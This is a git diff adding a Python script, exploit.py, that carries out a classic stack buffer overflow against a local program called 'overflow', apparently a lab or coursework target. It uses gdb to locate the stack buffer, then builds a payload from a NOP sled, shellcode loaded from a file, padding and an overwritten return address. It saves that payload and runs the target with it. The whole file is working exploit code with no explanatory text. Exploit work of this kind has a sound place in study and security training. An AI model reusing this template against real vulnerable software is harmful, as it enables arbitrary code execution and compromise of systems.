diff options
Diffstat (limited to 'exploit.py')
-rwxr-xr-x | exploit.py | 83 |
1 files changed, 83 insertions, 0 deletions
diff --git a/exploit.py b/exploit.py new file mode 100755 index 0000000..7b285bd --- /dev/null +++ b/exploit.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 + +from subprocess import Popen, PIPE +import sys +from os import chdir +from os.path import dirname +import re + +MYDIR = dirname(__file__) +print('Changed directory to: {}'.format(MYDIR)) +chdir(MYDIR) + +OVERFLOW_C_BUFFER_SIZE = int(300) +OVERFLOW_C_PADDING = 12 + +def get_address_of_buf(remaining_stack_frame_size, trailer_length): + cmd = ['gdb', '-n', '--batch', '--command=' + './dump32.gdb', '--args', './overflow', + 'A' * (remaining_stack_frame_size + trailer_length)] + print('Command: {}'.format(' '.join(cmd))) + p = Popen(cmd, stdin=None, stdout=PIPE, stderr=PIPE) + output, err = p.communicate(None) + rc = p.returncode + addr = None + + if len(err) != 0 or len(output) == 0: + return (rc, addr) + + output_str = output.decode() + p = re.compile('.*(0x[0-9a-f]+)$') + for line in output_str.split('\n'): + #print('--- ' + str(line)) + m = p.match(line) + if m is not None and len(m.groups()) == 1: + addr = int(m.groups()[0], 16) + break + + return (rc, addr) + +def run_exploit(new_return_addr, overflow_arg1, optional_addr_offset=0): + arg1 = bytes(overflow_arg1) + \ + (new_return_addr + optional_addr_offset).to_bytes(4, 'little') + print('Total Exploit Buffer Length: {}'.format(len(arg1))) + + exploit_buffer_filename = sys.argv[1] + '.bin' + print('Saving Exploit Buffer to: {}'.format(exploit_buffer_filename)) + with open(exploit_buffer_filename, mode='w+b') as f: + if f.write(arg1) != len(arg1): + raise RuntimeError('Could not write exploit buffer.') + + #cmd = ['gdb', '--args', './overflow', arg1] + cmd = ['./overflow', arg1] + p = Popen(cmd, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr) + p.communicate(None) + return p.returncode + +def create_exploit_buffer(remaining_stack_frame_size, shellcode_buffer, trailer=bytearray()): + shellcode_length = len(shellcode_buffer) + buf = bytearray([0x90] * (remaining_stack_frame_size - + shellcode_length)) + buf += shellcode_buffer + buf += trailer + return (buf, int((remaining_stack_frame_size - shellcode_length) / 2)) + +if __name__ == '__main__': + if len(sys.argv) != 2: + print('usage: {} [shellcode.o]'.format(sys.argv[0])) + sys.exit(1) + + with open(sys.argv[1], mode='rb') as f: + shellcode_buffer = f.read() + + exploit_buffer, optional_destination_offset = \ + create_exploit_buffer(OVERFLOW_C_BUFFER_SIZE, + shellcode_buffer, + bytearray([0x41] * OVERFLOW_C_PADDING)) + + new_return_addr_tuple = get_address_of_buf(OVERFLOW_C_BUFFER_SIZE, OVERFLOW_C_PADDING) + if new_return_addr_tuple[0] != 0 or new_return_addr_tuple[1] is None: + sys.exit(1) + + print('Return Address: {}'.format(hex(new_return_addr_tuple[1]))) + ret = run_exploit(new_return_addr_tuple[1], exploit_buffer, optional_destination_offset) + print('Exit Code: {}'.format(ret)) |